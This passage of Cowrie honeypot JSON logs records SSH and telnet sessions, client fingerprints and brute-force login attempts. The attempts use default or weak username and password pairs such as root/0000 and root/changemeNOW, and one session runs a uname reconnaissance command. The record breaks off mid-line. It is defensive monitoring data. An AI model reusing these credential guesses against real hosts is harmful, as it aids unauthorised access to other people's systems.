{"eventid":"cowrie.session.closed","duration":87.87937521934509,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:02.090888Z","src_ip":"152.42.224.71","session":"92e12fe6d4b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:03.059814Z","src_ip":"176.65.132.129","session":"dbb073584f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57640,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1badc30e84e","protocol":"ssh","message":"New connection: 176.65.132.129:57640 (159.203.135.109:22) [session: e1badc30e84e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:04.855138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:04.947915Z","src_ip":"176.65.132.129","session":"e1badc30e84e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:04.953531Z","src_ip":"176.65.132.129","session":"e1badc30e84e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:05.295303Z","src_ip":"176.65.132.129","session":"e1badc30e84e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:05.511945Z","src_ip":"176.65.132.129","session":"e1badc30e84e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:05.517170Z","src_ip":"176.65.132.129","session":"e1badc30e84e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:05.603057Z","src_ip":"176.65.132.129","session":"e1badc30e84e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:05.611327Z","src_ip":"176.65.132.129","session":"e1badc30e84e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47786,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dc4b71e11b2","protocol":"ssh","message":"New connection: 176.65.132.129:47786 (159.203.135.109:22) [session: 1dc4b71e11b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:08.105289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:08.109408Z","src_ip":"176.65.132.129","session":"1dc4b71e11b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:08.191182Z","src_ip":"176.65.132.129","session":"1dc4b71e11b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:08.438194Z","src_ip":"176.65.132.129","session":"1dc4b71e11b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":87.49075150489807,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:09.349599Z","src_ip":"152.42.224.71","session":"45778b0b5770","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:09.522608Z","src_ip":"176.65.132.129","session":"1dc4b71e11b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":42678,"dst_ip":"10.17.0.5","dst_port":22,"session":"5825091af0a8","protocol":"ssh","message":"New connection: 80.94.92.184:42678 (10.17.0.5:22) [session: 5825091af0a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:09.679738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:09.816825Z","src_ip":"80.94.92.184","session":"5825091af0a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:09.821100Z","src_ip":"80.94.92.184","session":"5825091af0a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":40800,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf19a72e1b3b","protocol":"ssh","message":"New connection: 20.193.250.100:40800 (10.17.0.5:22) [session: bf19a72e1b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:10.000808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:10.006631Z","src_ip":"20.193.250.100","session":"bf19a72e1b3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:10.210343Z","src_ip":"20.193.250.100","session":"bf19a72e1b3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:10.767483Z","src_ip":"80.94.92.184","session":"5825091af0a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckyou","message":"login attempt [root/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:11.053699Z","src_ip":"20.193.250.100","session":"bf19a72e1b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.75269865989685,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:11.159417Z","src_ip":"152.42.224.71","session":"7645b7ef7291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47790,"dst_ip":"159.203.135.109","dst_port":22,"session":"e9e2794284a2","protocol":"ssh","message":"New connection: 176.65.132.129:47790 (159.203.135.109:22) [session: e9e2794284a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:11.445754Z"}
{"eventid":"cowrie.session.closed","duration":43.56562781333923,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:11.450457Z","src_ip":"152.42.224.71","session":"bacd4cb8bf3a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:11.521673Z","src_ip":"176.65.132.129","session":"e9e2794284a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:11.604060Z","src_ip":"176.65.132.129","session":"e9e2794284a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0000","message":"login attempt [root/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:12.006547Z","src_ip":"176.65.132.129","session":"e9e2794284a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:12.058065Z","src_ip":"80.94.92.184","session":"5825091af0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:12.267670Z","src_ip":"20.193.250.100","session":"bf19a72e1b3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.8911771774292,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:12.382763Z","src_ip":"152.42.224.71","session":"cdae0b26bd0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.166.167.154","src_port":45446,"dst_ip":"159.203.135.109","dst_port":22,"session":"776749611bb5","protocol":"ssh","message":"New connection: 122.166.167.154:45446 (159.203.135.109:22) [session: 776749611bb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:12.548069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:12.553682Z","src_ip":"122.166.167.154","session":"776749611bb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:12.806691Z","src_ip":"122.166.167.154","session":"776749611bb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:13.091011Z","src_ip":"176.65.132.129","session":"e9e2794284a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!@#","message":"login attempt [root/root123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:13.844712Z","src_ip":"122.166.167.154","session":"776749611bb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47798,"dst_ip":"159.203.135.109","dst_port":22,"session":"74fc801a6468","protocol":"ssh","message":"New connection: 176.65.132.129:47798 (159.203.135.109:22) [session: 74fc801a6468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:14.834239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:14.842050Z","src_ip":"176.65.132.129","session":"74fc801a6468","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:14.929110Z","src_ip":"176.65.132.129","session":"74fc801a6468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:15.102193Z","src_ip":"122.166.167.154","session":"776749611bb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:15.177977Z","src_ip":"176.65.132.129","session":"74fc801a6468","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:16.264643Z","src_ip":"176.65.132.129","session":"74fc801a6468","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":60638,"dst_ip":"10.17.0.5","dst_port":22,"session":"29f8329fa769","protocol":"ssh","message":"New connection: 103.77.175.15:60638 (10.17.0.5:22) [session: 29f8329fa769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:16.872782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:16.877520Z","src_ip":"103.77.175.15","session":"29f8329fa769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","a